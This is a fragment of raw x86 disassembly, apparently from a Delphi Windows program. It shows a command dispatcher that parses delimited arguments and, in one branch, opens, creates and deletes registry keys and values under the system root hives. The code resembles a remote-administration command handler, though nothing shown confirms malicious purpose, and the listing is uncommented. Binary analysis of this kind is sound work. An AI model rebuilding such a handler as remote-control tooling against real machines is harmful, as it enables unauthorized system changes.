xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc04]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc04]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc0c]
push eax
lea ecx, [ebp - 0xc10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc10]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc0c]
lea edx, [ebp - 0xc08]
call fcn.0058feb0
mov eax, dword [ebp - 0xc08]
call fcn.00593654
test al, al
je 0x59936d
lea eax, [ebp - 0xc18]
push eax
lea ecx, [ebp - 0xc1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc1c]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc18]
lea edx, [ebp - 0xc14]
call fcn.0058feb0
mov eax, dword [ebp - 0xc14]
call fcn.00593654
test al, al
je 0x599343
lea edx, [ebp - 0xc20]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc20]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x59936d
lea edx, [ebp - 0xc24]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc24]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc28]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc28]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc30]
push eax
lea ecx, [ebp - 0xc34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc34]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc30]
lea edx, [ebp - 0xc2c]
call fcn.0058feb0
mov eax, dword [ebp - 0xc2c]
call fcn.00593654
test al, al
je 0x599635
call fcn.00581dcc
lea eax, [ebp - 0x43c]
call fcn.00582808
lea eax, [ebp - 0xc3c]
push eax
lea ecx, [ebp - 0xc40]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc40]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc3c]
lea edx, [ebp - 0xc38]
call fcn.0058feb0
mov eax, dword [ebp - 0xc38]
call fcn.00593654
test al, al
je 0x5994f3
lea eax, [ebp - 0xc48]
push eax
lea ecx, [ebp - 0xc4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc4c]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc48]
lea edx, [ebp - 0xc44]
call fcn.0058feb0
mov eax, dword [ebp - 0xc44]
call fcn.00593654
test al, al
je 0x5994c9
lea edx, [ebp - 0xc50]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc50]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x5994f3
lea edx, [ebp - 0xc54]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc54]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc58]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc58]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc60]
push eax
lea ecx, [ebp - 0xc64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc64]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc60]
lea edx, [ebp - 0xc5c]
call fcn.0058feb0
mov eax, dword [ebp - 0xc5c]
call fcn.00593654
test al, al
je 0x599613
lea eax, [ebp - 0xc6c]
push eax
lea ecx, [ebp - 0xc70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc70]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc6c]
lea edx, [ebp - 0xc68]
call fcn.0058feb0
mov eax, dword [ebp - 0xc68]
call fcn.00593654
test al, al
je 0x5995e9
lea edx, [ebp - 0xc74]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc74]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599613
lea edx, [ebp - 0xc78]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc78]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc7c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc7c]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc84]
push eax
lea ecx, [ebp - 0xc88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc88]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc84]
lea edx, [ebp - 0xc80]
call fcn.0058feb0
mov eax, dword [ebp - 0xc80]
call fcn.00593654
test al, al
je 0x5998db
call fcn.00581dcc
lea eax, [ebp - 0x43c]
call fcn.00582a00
lea eax, [ebp - 0xc90]
push eax
lea ecx, [ebp - 0xc94]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc94]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc90]
lea edx, [ebp - 0xc8c]
call fcn.0058feb0
mov eax, dword [ebp - 0xc8c]
call fcn.00593654
test al, al
je 0x599799
lea eax, [ebp - 0xc9c]
push eax
lea ecx, [ebp - 0xca0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xca0]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xc9c]
lea edx, [ebp - 0xc98]
call fcn.0058feb0
mov eax, dword [ebp - 0xc98]
call fcn.00593654
test al, al
je 0x59976f
lea edx, [ebp - 0xca4]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xca4]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599799
lea edx, [ebp - 0xca8]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xca8]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xcac]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcac]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xcb4]
push eax
lea ecx, [ebp - 0xcb8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcb8]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xcb4]
lea edx, [ebp - 0xcb0]
call fcn.0058feb0
mov eax, dword [ebp - 0xcb0]
call fcn.00593654
test al, al
je 0x5998b9
lea eax, [ebp - 0xcc0]
push eax
lea ecx, [ebp - 0xcc4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcc4]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xcc0]
lea edx, [ebp - 0xcbc]
call fcn.0058feb0
mov eax, dword [ebp - 0xcbc]
call fcn.00593654
test al, al
je 0x59988f
lea edx, [ebp - 0xcc8]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcc8]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x5998b9
lea edx, [ebp - 0xccc]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xccc]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xcd0]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcd0]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xcd8]
push eax
lea ecx, [ebp - 0xcdc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcdc]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xcd8]
lea edx, [ebp - 0xcd4]
call fcn.0058feb0
mov eax, dword [ebp - 0xcd4]
call fcn.00593654
test al, al
je 0x599de8
call fcn.00581dcc
lea edx, [ebp - 0xce0]
mov eax, dword [ebp - 0x3d4]
call fcn.0058feb0
mov eax, dword [ebp - 0xce0]
lea ecx, [ebp - 0x43c]
mov dl, 2
call fcn.00582c4c
lea eax, [ebp - 0xce8]
push eax
lea ecx, [ebp - 0xcec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcec]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xce8]
lea edx, [ebp - 0xce4]
call fcn.0058feb0
mov eax, dword [ebp - 0xce4]
call fcn.00593654
test al, al
je 0x599a58
lea eax, [ebp - 0xcf4]
push eax
lea ecx, [ebp - 0xcf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcf8]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xcf4]
lea edx, [ebp - 0xcf0]
call fcn.0058feb0
mov eax, dword [ebp - 0xcf0]
call fcn.00593654
test al, al
je 0x599a2e
lea edx, [ebp - 0xcfc]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcfc]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599a58
lea edx, [ebp - 0xd00]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd00]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xd04]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd04]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xd0c]
push eax
lea ecx, [ebp - 0xd10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd10]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xd0c]
lea edx, [ebp - 0xd08]
call fcn.0058feb0
mov eax, dword [ebp - 0xd08]
call fcn.00593654
test al, al
je 0x599b78
lea eax, [ebp - 0xd18]
push eax
lea ecx, [ebp - 0xd1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd1c]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xd18]
lea edx, [ebp - 0xd14]
call fcn.0058feb0
mov eax, dword [ebp - 0xd14]
call fcn.00593654
test al, al
je 0x599b4e
lea edx, [ebp - 0xd20]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd20]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599b78
lea edx, [ebp - 0xd24]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd24]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xd28]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd28]
mov edx, dword [eax]
call dword [edx + 0x104]
jmp 0x599de8
lea eax, [ebp - 0xd30]
push eax
lea ecx, [ebp - 0xd34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd34]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xd30]
lea edx, [ebp - 0xd2c]
call fcn.0058feb0
mov eax, dword [ebp - 0xd2c]
call fcn.00593654
test al, al
je 0x599d0a
lea edx, [ebp - 0xd38]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd38]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd3c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd3c]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd40]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd40]
mov edx, dword [eax]
call dword [edx + 0xf4]
lea edx, [ebp - 0xd44]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd44]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd48]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd48]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd4c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd4c]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd50]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd50]
mov edx, dword [eax]
call dword [edx + 0xf0]
lea edx, [ebp - 0xd54]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd54]
mov edx, dword [eax]
call dword [edx + 0x104]
jmp 0x599de8
lea eax, [ebp - 0xd5c]
push eax
lea ecx, [ebp - 0xd60]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd60]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xd5c]
lea edx, [ebp - 0xd58]
call fcn.0058feb0
mov eax, dword [ebp - 0xd58]
call fcn.00593654
test al, al
je 0x599de8
lea edx, [ebp - 0xd64]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd64]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd68]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd68]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd6c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd6c]
mov edx, dword [eax]
call dword [edx + 0xf4]
lea edx, [ebp - 0xd70]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd70]
mov edx, dword [eax]
call dword [edx + 0x104]
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5adef4
call fcn.00405e6c
jne 0x599f7f
xor eax, eax
push ebp
push 0x599f78
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0xd74]
push eax
lea ecx, [ebp - 0xd78]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd78]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xd74]
lea edx, [ebp - 0x3d0]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x599ef6
push 0
lea eax, [ebp - 0xd80]
push eax
lea eax, [ebp - 0xd84]
push eax
lea ecx, [ebp - 0xd88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd88]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xd84]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0xd80]
lea edx, [ebp - 0xd7c]
call fcn.00593948
mov edx, dword [ebp - 0xd7c]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0x5adec8
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
mov eax, dword [ebp - 0x3d0]
call fcn.0058e524
lea edx, [ebp - 0xd90]
mov eax, dword [ebp - 0x424]
call fcn.0058feb0
mov eax, dword [ebp - 0xd90]
push eax
lea edx, [ebp - 0xd94]
mov eax, dword [ebp - 0x420]
call fcn.0058feb0
mov eax, dword [ebp - 0xd94]
lea ecx, [ebp - 0xd8c]
pop edx
call fcn.00589478
mov eax, dword [ebp - 0xd8c]
mov edx, dword [eax]
call dword [edx + 0xd0]
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5adf0c
call fcn.00405e6c
jne 0x59a0c6
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xd98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd98]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x59a012
lea edx, [ebp - 0xd9c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0xd9c]
push eax
lea eax, [ebp - 0xda0]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0xda0]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0xda8]
push eax
lea ecx, [ebp - 0xdac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdac]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xda8]
lea edx, [ebp - 0xda4]
call fcn.00593948
mov eax, dword [ebp - 0xda4]
call fcn.0058e2f4
test al, al
je 0x59a095
lea eax, [ebp - 0xdb0]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0xdb0]
mov edx, 0x5ad7b4
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
jmp 0x5acec8
lea eax, [ebp - 0xdb4]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0xdb4]
mov edx, 0x5ad678
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5adf34
call fcn.00405e6c
jne 0x59a2ee
lea eax, [ebp - 0xdbc]
push eax
lea ecx, [ebp - 0xdc0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdc0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xdbc]
lea edx, [ebp - 0xdb8]
call fcn.00593948
mov eax, dword [ebp - 0xdb8]
push eax
lea eax, [ebp - 0xdc8]
push eax
lea ecx, [ebp - 0xdcc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdcc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xdc8]
lea edx, [ebp - 0xdc4]
call fcn.00593948
mov eax, dword [ebp - 0xdc4]
pop edx
call fcn.0058e478
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
cmp eax, 7
ja case.0x59a18a.0
jmp dword [eax*4 + 0x59a191]
lea eax, [ebp - 0x3c0]
mov edx, 0x5adf4c
call fcn.00405adc
jmp 0x59a23f
lea eax, [ebp - 0x3c0]
mov edx, 0x5adf68
call fcn.00405adc
jmp 0x59a23f
lea eax, [ebp - 0x3c0]
mov edx, 0x5adf80
call fcn.00405adc
jmp 0x59a23f
lea eax, [ebp - 0x3c0]
mov edx, 0x5adf90
call fcn.00405adc
jmp 0x59a23f
lea eax, [ebp - 0x3c0]
mov edx, 0x5adfa0
call fcn.00405adc
jmp 0x59a23f
lea eax, [ebp - 0x3c0]
mov edx, 0x5adfb4
call fcn.00405adc
jmp 0x59a23f
lea eax, [ebp - 0x3c0]
mov edx, 0x5adfc8
call fcn.00405adc
jmp 0x59a23f
lea eax, [ebp - 0x3c0]
mov edx, 0x5adfd8
call fcn.00405adc
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xdd0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdd0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0x3b0]
call fcn.005af628
test al, al
jne 0x59a2bc
lea edx, [ebp - 0xdd4]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov eax, dword [ebp - 0xdd4]
push eax
lea eax, [ebp - 0xdd8]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0xdd8]
xor edx, edx
pop eax
call fcn.0058ffac
lea eax, [ebp - 0xddc]
mov ecx, 0x5adf24
mov edx, dword [ebp - 0x438]
call fcn.00405d5c
mov ecx, dword [ebp - 0xddc]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.0058ffe4
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5adff0
call fcn.00405e6c
jne 0x59a607
xor eax, eax
push ebp
push 0x59a600
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005923fc
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
xor eax, eax
push ebp
push 0x59a5d8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xde0]
push eax
lea ecx, [ebp - 0xde4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xde4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xde0]
call fcn.0040b2d4
cmp eax, 4
ja case.default.0x59a379
jmp dword [eax*4 + 0x59a380]
mov edx, 0x80000000
mov eax, dword [ebp - 0x53c]
call fcn.00430970
jmp case.default.0x59a379
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
jmp case.default.0x59a379
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
jmp case.default.0x59a379
mov edx, 0x80000003
mov eax, dword [ebp - 0x53c]
call fcn.00430970
jmp case.default.0x59a379
mov edx, 0x80000005
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [0x5d4b08]
mov eax, dword [eax]
or eax, 0x2001f
mov edx, dword [ebp - 0x53c]
mov dword [edx + 0x18], eax
lea eax, [ebp - 0xde8]
push eax
lea ecx, [ebp - 0xdec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdec]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xde8]
call fcn.00593654
test al, al
je 0x59a515
call fcn.0058e298
test al, al
je 0x59a4bc
mov eax, dword [0x5dbca4]
mov edx, 0x5ad59c
call fcn.00405e6c
je 0x59a4bc
lea eax, [ebp - 0xdf4]
push eax
lea ecx, [ebp - 0xdf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdf8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xdf4]
lea edx, [ebp - 0xdf0]
call fcn.0058feb0
mov edx, dword [ebp - 0xdf0]
mov eax, dword [ebp - 0x53c]
mov eax, dword [eax + 8]
call fcn.005922c4
jmp 0x59a5ce
lea eax, [ebp - 0xe00]
push eax
lea ecx, [ebp - 0xe04]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe04]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xe00]
lea edx, [ebp - 0xdfc]
call fcn.0058feb0
mov edx, dword [ebp - 0xdfc]
mov eax, dword [ebp - 0x53c]
call fcn.00430ccc
jmp 0x59a5ce
lea eax, [ebp - 0xe0c]
push eax
lea ecx, [ebp - 0xe10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe10]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xe0c]
lea edx, [ebp - 0xe08]
call fcn.0058feb0
mov edx, dword [ebp - 0xe08]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
test al, al
je 0x59a5ce
lea eax, [ebp - 0xe18]
push eax
lea ecx, [ebp - 0xe1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe1c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xe18]
lea edx, [ebp - 0xe14]
call fcn.0058feb0
mov edx, dword [ebp - 0xe14]
mov eax, dword [ebp - 0x53c]
call fcn.00430e44
mov eax, dword [ebp - 0x53c]
call fcn.00430940
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
